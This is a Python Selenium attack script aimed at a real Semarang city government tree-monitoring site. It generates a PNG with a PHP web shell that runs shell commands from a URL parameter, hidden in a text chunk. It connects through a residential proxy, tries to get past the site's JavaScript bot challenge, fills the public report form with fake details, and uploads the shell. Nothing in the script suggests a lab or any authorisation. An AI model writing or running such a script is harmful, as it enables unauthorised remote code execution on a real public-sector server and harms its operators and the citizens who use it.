#!/usr/bin/env python3
import time
import tempfile
import os
import struct
import zlib

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service

def create_php_png():
    """Create PNG with PHP code embedded"""
    def png_chunk(type_code, data):
        chunk_type = type_code.encode('latin-1')
        chunk_len = struct.pack('>I', len(data))
        chunk_crc = struct.pack('>I', zlib.crc32(chunk_type + data) & 0xffffffff)
        return chunk_len + chunk_type + data + chunk_crc
    
    signature = b'\x89PNG\r\n\x1a\n'
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
    ihdr = png_chunk('IHDR', ihdr_data)
    
    # Add PHP code in tEXt chunk
    php_code = b'<?php system($_GET["c"]); ?>'
    text_data = b'Comment\x00' + php_code
    text = png_chunk('tEXt', text_data)
    
    raw_data = b'\x00\xff\xff\xff'
    compressed = zlib.compress(raw_data, 9)
    idat = png_chunk('IDAT', compressed)
    iend = png_chunk('IEND', b'')
    
    return signature + ihdr + text + idat + iend

# Create temporary PNG file
png_path = '/tmp/test_upload.png'
with open(png_path, 'wb') as f:
    f.write(create_php_png())

print(f"[*] Created PNG file: {png_path}")

# Setup Chrome headless with proxy
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')
chrome_options.add_argument('--disable-gpu')
chrome_options.add_argument('--window-size=1920,1080')
chrome_options.add_argument('--proxy-server=http://res.proxy-seller.com:10006')

# Add proxy authentication
# Note: Chrome doesn't support proxy auth in headless easily

try:
    print("[*] Starting Chrome headless...")
    driver = webdriver.Chrome(options=chrome_options)
    
    # Go to main page first
    print("[*] Loading main page...")
    driver.get("https://pohon.disperkim.semarangkota.go.id/main")
    
    # Wait for page to load
    time.sleep(5)
    
    print(f"[*] Current URL: {driver.current_url}")
    print(f"[*] Page title: {driver.title}")
    
    # Check if we passed the JS challenge
    if "Monitor Pohon" in driver.title or "SIM Pohon" in driver.title:
        print("[+] JS challenge bypassed!")
        
        # Find form elements
        try:
            # Fill form
            driver.find_element(By.NAME, "pelapor_nama").send_keys("TestUser")
            driver.find_element(By.NAME, "pelapor_alamat").send_keys("TestAlamat")
            driver.find_element(By.NAME, "pelapor_phone").send_keys("08123456789")
            driver.find_element(By.NAME, "pohon_lokasi").send_keys("Jakarta")
            driver.find_element(By.NAME, "pohon_keterangan").send_keys("Test")
            
            # Upload file
            file_input = driver.find_element(By.NAME, "userfile")
            file_input.send_keys(png_path)
            
            print("[*] Form filled, submitting...")
            
            # Find and click submit
            submit = driver.find_element(By.CSS_SELECTOR, "button[type='submit'], input[type='submit']")
            submit.click()
            
            time.sleep(5)
            
            print(f"[*] After submit URL: {driver.current_url}")
            print(f"[*] Page source preview: {driver.page_source[:500]}")
            
        except Exception as e:
            print(f"[-] Form error: {e}")
            print(f"[*] Page source: {driver.page_source[:1000]}")
    else:
        print("[-] Still on JS challenge page")
        print(f"[*] Page source: {driver.page_source[:500]}")
    
except Exception as e:
    print(f"[-] Error: {e}")
finally:
    try:
        driver.quit()
    except:
        pass

